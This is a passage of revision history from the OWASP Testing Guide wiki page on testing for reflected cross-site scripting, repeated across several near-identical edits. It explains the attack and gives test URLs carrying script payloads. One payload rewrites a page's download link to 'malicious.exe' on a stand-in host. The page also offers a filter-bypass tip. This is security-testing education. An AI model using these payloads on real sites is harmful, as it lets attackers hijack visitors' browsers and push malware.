encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities: &lt;br /&gt;
&lt;br /&gt;
'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this:  /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i.&lt;br /&gt;
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using &amp;quot;javascript:&amp;quot;, if we dont need to close any other kind of tag. &lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35768</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35768"/>
				<updated>2008-08-11T17:21:33Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [http://www.owasp.org/index.php/Cross_Site_Scripting cross-site scripting] (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black and Grey Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities: &lt;br /&gt;
&lt;br /&gt;
'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this:  /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i.&lt;br /&gt;
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using &amp;quot;javascript:&amp;quot;, if we dont need to close any other kind of tag. &lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35765</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35765"/>
				<updated>2008-08-11T14:59:00Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [http://www.owasp.org/index.php/Cross_Site_Scripting cross-site scripting] (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black and Grey Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities: &lt;br /&gt;
&lt;br /&gt;
'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this:  /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i.&lt;br /&gt;
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using &amp;quot;javascript:&amp;quot;, if we dont need to close any other kind of tag. &lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
* PHP Charset Encoder(PCE) - http://h4k.in/encoding&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35572</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35572"/>
				<updated>2008-08-07T21:27:43Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected cross-site scripting (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black and Grey Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities: &lt;br /&gt;
&lt;br /&gt;
'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this:  /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i.&lt;br /&gt;
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using &amp;quot;javascript:&amp;quot;, if we dont need to close any other kind of tag. &lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
* PHP Charset Encoder(PCE) - http://h4k.in/encoding&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35568</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35568"/>
				<updated>2008-08-07T20:14:14Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: /* Black Box and Grey Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected cross-site scripting (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
